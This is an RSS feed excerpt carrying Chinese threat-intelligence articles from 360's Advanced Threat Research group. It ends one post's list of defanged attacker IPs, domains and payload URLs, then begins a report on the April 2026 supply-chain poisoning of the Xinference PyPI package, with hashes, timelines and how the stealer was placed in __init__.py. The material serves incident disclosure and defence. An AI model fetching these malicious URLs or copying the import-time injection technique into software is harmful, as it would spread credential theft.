Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapge09"><a href="https://151.236.4[.]164:5010" target="_blank">https://151.236.4[.]164:5010</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg1i8k">getserviceupdates[.]com </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg1qdp"><a href="http://46.30.191[.]221/host.txt" target="_blank">http://46.30.191[.]221/host.txt</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg16xr"><a href="http://46.30.191[.]221/MsEdge" target="_blank">http://46.30.191[.]221/MsEdge</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgrbr"><a href="http://46.30.191[.]221/taskhost" target="_blank">http://46.30.191[.]221/taskhost</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapglmb"><a href="http://46.30.191[.]221/appv1.exe" target="_blank">http://46.30.191[.]221/appv1.exe</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg1875"><a href="http://46.30.191[.]221/input.txt" target="_blank">http://46.30.191[.]221/input.txt</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg2su"><a href="http://46.30.191[.]221/ppersis.py" target="_blank">http://46.30.191[.]221/ppersis.py</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg1a3m"><a href="http://46.30.191[.]221/pw.exe" target="_blank">http://46.30.191[.]221/pw.exe</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg10qn"><a href="http://46.30.191[.]221:8080/get-pip.py" target="_blank">http://46.30.191[.]221:8080/get-pip.py</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgya7"><a href="http://46.30.191[.]221/cf.py" target="_blank">http://46.30.191[.]221/cf.py</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgmbr"><a href="http://46.30.191[.]221/ppp.py" target="_blank">http://46.30.191[.]221/ppp.py</a>  </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg21i6">89.31.121[.]220:443                                                                                                            </span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div><o:page></o:page></div><p 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]]></content:encoded>
      <pubDate>Wed, 29 Apr 2026 17:13:00 +0800</pubDate>
    </item>
    <item>
      <title>Xinference 供应链安全事件调查与分析报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508515&amp;idx=1&amp;sn=82169bea927184c000de87d008eee7fa</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-04-27 15:08</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=024061dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXILibe2rf05rKm6bt9c1JNE8jCVia9ibuQUzURDIF7hPVNKUkn6icxQLphLibibO1PtZeekSgN2LJSUWYaZjW13faRBw7uiaYCbMPr0Po%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-data-temp-type="body" mpa-from-tpl="t" data-mpa-action-id="mogm720m1gmj" data-pm-slice="0 0 []"><div style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 0px 8px 0px 13px;" data-mid="" mpa-from-tpl="t"><div style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><p style="width: 24px;align-self: flex-start;z-index: 1;margin-left: 10px;" data-mid="" mpa-from-tpl="t" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20833333333333334" data-w="48" style="display: block;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=456d823d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQkjvmbC1CD0zJ9hBlrElSv4ZqETGn3otgH8VHW1QuoOec3JMAbUyr0iaurJy4DPHBwUsDXiadJ3aha4CvJwyYVew%2F640"/></p><div style="background: rgb(235, 175, 166);" data-mid="" mpa-from-tpl="t"><div style="background: #FFFFFF;border: 1px solid #333333;padding: 14px 12px;transform: translate(-4px, -4px);" data-mid="" mpa-from-tpl="t" data-mpa-action-id="mogm7zf423dz" data-pm-slice="0 0 []"><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(51, 51, 51);line-height: 1.6em;letter-spacing: 1px;margin-top: 8px;margin-bottom: 8px;text-indent: 2em;text-align: justify;" data-mid=""><span mpa-font-style="mogm7m131c1t" style="font-size: 16px;"><span mpa-font-style="mogm7o6212fv" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span mpa-font-style="mogm7zei1rzy" style="font-size: 17px;"><span leaf="">Xinference</span><span style=""><span leaf="">（</span><span lang="EN-US"><span leaf="">Xorbits Inference</span></span><span leaf="">）是一款流行的开源</span><span lang="EN-US"><span leaf=""> AI </span></span><span leaf="">模型部署与服务框架，支持开发者通过极简命令快速部署大语言、语音及多模态模型。它对外提供兼容</span><span lang="EN-US"><span leaf=""> OpenAI </span></span><span leaf="">的</span><span lang="EN-US"><span leaf=""> API</span></span><span leaf="">，并深度集成于</span><span lang="EN-US"><span leaf="">Dify</span></span><span leaf="">、</span><span lang="EN-US"><span leaf="">LangChain </span></span><span leaf="">等主流</span><span lang="EN-US"><span leaf=""> AI </span></span><span leaf="">生态工具链中。由于其核心用户多为掌握企业核心代码、高权限云凭证与高算力资源的</span><span lang="EN-US"><span leaf=""> AI </span></span><span leaf="">研发人员，因此极易成为黑客实施软件供应链投毒的高价值目标。</span></span></span></span></span></p></div></div></div></div></div><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">2026年4月22日，Xinference 官方 PyPI 发布包被披露遭遇供应链投毒攻击。攻击者在 V2.6.0、V2.6.1 及V2.6.2 三个版本的核心初始化文件 `__init__.py` 中植入了窃密木马。</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">恶意样本中留有 &#34;# hacked by teampcp&#34; 文本标记，表面指向近期活跃于开源供应链攻击的 TeamPCP 组织，但该组织随后公开否认参与此次事件，存在假旗操作的可能性。目前归属研判尚未形成确定性结论，我们将持续跟踪关注。</span></p><div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-data-temp-type="title" mpa-from-tpl="t" data-mpa-action-id="mognljmn1r3b"><div style="display: flex;align-items: center;justify-content: center;" data-mid="" mpa-from-tpl="t"><div style="display: flex;flex-direction: column;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><p style="color: #B5230B;padding: 0 8px;text-align: justify;font-family: &#34;PingFang SC&#34;;font-size: 22px;font-style: normal;font-weight: 600;line-height: 44px;letter-spacing: 1.32px;border-radius: 6px;background: #FFEAAE;" data-mid="" mpa-from-tpl="t"><span leaf="" mpa-font-style="mognlncvksl" style="font-size: 18px;" data-mpa-action-id="mognlndfcp0" data-pm-slice="0 0 []">01</span></p><p style="width: 36px;margin-top: 8px;" data-mid="" mpa-from-tpl="t" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25675675675675674" data-w="74" style="display: block;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=c92a70d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FpALNiaJfvo0JYIUacERibiaqVWp28U3y2T3pVQNg7t7fEmUkOHj1MRKlht1cQBpzoSMKK3u5nXvl8qPEuRpWiacWy3I0B66bn686GQq5SD0coCs%2F640%3Ffrom%3Dappmsg"/></p></div><div style="display: flex;justify-content: flex-end;align-items: end;margin-top: -5px;padding-bottom: 8px;border-bottom: 1px solid #B5230B;" data-mid="" mpa-from-tpl="t"><p style="width: fit-content;color: #FFF;text-align: justify;font-family: &#34;PingFang SC&#34;;font-size: 18px;font-style: normal;font-weight: 600;line-height: 36px;letter-spacing: 1.08px;border-radius: 4px;background: #B5230B;padding: 2px 16px;margin-left: 8px;margin-right: 19px;" data-mid="" mpa-from-tpl="t"><span leaf="">攻击活动分析</span></p><p data-mid="" mpa-from-tpl="t" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8367346938775511" data-w="49" style="width: 20px;transform: translateY(-2px);display: block;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=017f44fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FF9Qia9yBKiatjeBG0kXBR5Cd9AyUcayibLOPlp9iaY6YeUYBoLZcTaxbd1AyxyefO5x7GCicw0ESwHZRJ1mVib8hic1X63a7fhsibcGicibhgNOT8SMbM%2F640%3Ffrom%3Dappmsg"/></p></div></div></div><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt810ap">2026年4月22日，Xinference 官方软件包被披露遭遇供应链投毒事件。攻击者将恶意载荷植入包内 __init__.py 文件，通过篡改初始化逻辑实现恶意代码随安装或导入过程被触发。随后，Xinference 项目开发人员在 GitHub Issues 回复中确认了该安全事件，进一步证实官方发布包在特定版本范围内已受到污染。</span><o:page></o:page></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.6327160493827161" style="width: 553.74px;height: 350.34px;" data-w="972" src="https://wechat2rss.xlab.app/img-proxy/?k=20deb923&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLTN5bP8F8mvYYLLCY5bhp8Ax7DGT4mmgvNr9HmTHYay7PJHguFHNqYkwyyU1qnN6SX7oTibL7bqO58THhUbUJsBEUhjv8n0rmA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81hxr"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">图1 Github中Issues回复示例</span></span></p><p style="text-indent: 2em;text-align: justify;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81pvr">为进一步还原攻击活动时间线，我们对 xinference-2.6.0.tar.gz、xinference-2.6.1.tar.gz 与 xinference-2.6.2.tar.gz 三个受影响版本压缩包进行了取样分析，并提取了归档文件内相关文件的最近修改时间（mtime, UTC）。分析结果显示，<span textstyle="" style="font-weight: bold;">攻击者最早在 2026年4月21日 20:08:49 UTC 已完成对恶意文件的植入</span>。</span></p><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt8zeq"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">表1 三个版本文件的最近修改时间</span></span></p><div><div><div><div><div><p><table style="width:574px;"><tbody><tr><td data-colwidth="203"><p><span style="font-size: 15px;"><span leaf="">MD5</span></span></p></td><td data-colwidth="164"><p><span style="font-size: 15px;"><span leaf="">文件名</span></span></p></td><td data-colwidth="207"><p data-mpa-action-id="mogmhhcvdru"><span style="font-size: 15px;"><span style="font-family: DengXian;" data-pm-slice="0 0 []"><span leaf="">最后修改时间</span><span lang="EN-US"><span leaf="">(mtime UTC)</span></span></span></span></p></td></tr><tr><td data-colwidth="203"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">971670c10eff28339a085ca50a600e35</span></span></span></p></td><td data-colwidth="164"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">xinference-2.6.0.tar.gz</span></span></span></p></td><td data-colwidth="207"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">2026-04-21 20:08:49 - 2026-04-21 20:10:51</span></span></span></p></td></tr><tr><td data-colwidth="203"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">9b3257e45b27a6bbe4e240e41a3a306f</span></span></span></p></td><td data-colwidth="164"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">xinference-2.6.1.tar.gz</span></span></span></p></td><td data-colwidth="207"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">2026-04-21 21:01:20 - 2026-04-21 21:03:30</span></span></span></p></td></tr><tr><td data-colwidth="203"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">484067fd6232f7cdd7b664b33857fc2c </span></span></span></p></td><td data-colwidth="164"><p><span style="font-size: 15px;"><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;" data-pm-slice="0 0 []"><span leaf="">xinference-2.6.2.tar.gz</span></span></span></p></td><td data-colwidth="207"><p data-mpa-action-id="mogmir0wsrx"><span style="font-size: 15px;"><span style=""><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: rgb(254, 255, 255);" data-pm-slice="0 0 []"><span leaf="">2026-04-21 21:07:50 - </span></span><span lang="EN-US" style="font-family: &#34;Segoe UI&#34;, sans-serif;color: rgb(30, 41, 59);background: white;"><span leaf="">2026-04-21 21:10:00</span></span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-align: justify;text-indent: 2em;margin-top: 16px;"><span leaf="">此外，三个受影响版本中的恶意代码虽然使用相同的恶意编码载荷，但在植入位置与执行方式上存在显著差异，呈现出攻击者持续迭代优化的特征。</span></p></div></div><o:page></o:page></div><p style="text-indent: 0px;text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="moglxmt81ipv"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">表2 三个版本植入恶意代码对比</span></span></p><div><div><div><div><div><div><div><p><table style="width:559px;"><tbody><tr><td data-colwidth="98"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf="">对比维度</span></span></span></p></td><td data-colwidth="149"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">V2.6.0</span></span></span></span></p></td><td data-colwidth="153"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">V2.6.1</span></span></span></span></p></td><td data-colwidth="159"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">V2.6.2</span></span></span></span></p></td></tr><tr><td data-colwidth="98"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf="">植入位置</span></span></span></p></td><td data-colwidth="149"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">模块顶层作用域</span></span></span></span></p></td><td data-colwidth="153"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">_install() </span></span><span style="color: black;background: white;"><span leaf="">函数内部</span></span></span></span></p></td><td data-colwidth="159"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">_install() </span></span><span style="color: black;background: white;"><span leaf="">函数内部</span></span></span></span></p></td></tr><tr><td data-colwidth="98"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span leaf="">执行方式</span></span></span></p></td><td data-colwidth="149"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><span lang="EN-US" style="color: black;background: white;" data-pm-slice="0 0 []"><span leaf="">subprocess.Popen() </span></span><span style="color: black;background: white;"><span leaf="">子进程异步执行</span></span></span></span></p></td><td data-colwidth="153"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, 